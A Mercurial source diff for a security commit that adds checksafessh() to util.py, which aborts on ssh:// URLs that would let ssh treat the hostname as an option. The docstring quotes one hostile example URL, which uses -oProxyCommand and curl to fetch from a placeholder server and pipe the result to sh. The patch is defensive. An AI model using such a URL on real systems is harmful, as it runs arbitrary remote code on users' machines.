comparison mercurial/util.py @ 33634:53224b1ffbc2 stable

util: add utility method to check for bad ssh urls (SEC)

Our use of SSH has an exploit that will parse the first part of an url
blindly as a hostname. Prior to this set of security patches, a url
with '-oProxyCommand' could run arbitrary code on a user's machine. In
addition, at least on Windows, a pipe '|' can be abused to execute
arbitrary commands in a similar fashion.

We defend against this by checking ssh:// URLs and looking for a
hostname that starts with a - or contains a |.

When this happens, let's throw a big abort into the user's face so
that they can inspect what's going on.

33633:20bac46f7744

    return path and path[1:2] == ':' and path[0:1].isalpha()

def urllocalpath(path):
    return url(path, parsequery=False, parsefragment=False).localpath()

def hidepassword(u):
    '''hide user credential in a url string'''
    u = url(u)
    if u.passwd:
        u.passwd = '***'

33634:53224b1ffbc2

    return path and path[1:2] == ':' and path[0:1].isalpha()

def urllocalpath(path):
    return url(path, parsequery=False, parsefragment=False).localpath()

def checksafessh(path):
    """check if a path / url is a potentially unsafe ssh exploit (SEC)

    This is a sanity check for ssh urls. ssh will parse the first item as
    an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
    Let's prevent these potentially exploited urls entirely and warn the
    user.

    Raises an error.Abort when the url is unsafe.
    """
    path = urlreq.unquote(path)
    if path.startswith('ssh://-') or '|' in path:
        raise error.Abort(_('potentially unsafe url: %r') %
                          (path,))

def hidepassword(u):
    '''hide user credential in a url string'''
    u = url(u)
    if u.passwd:
        u.passwd = '***'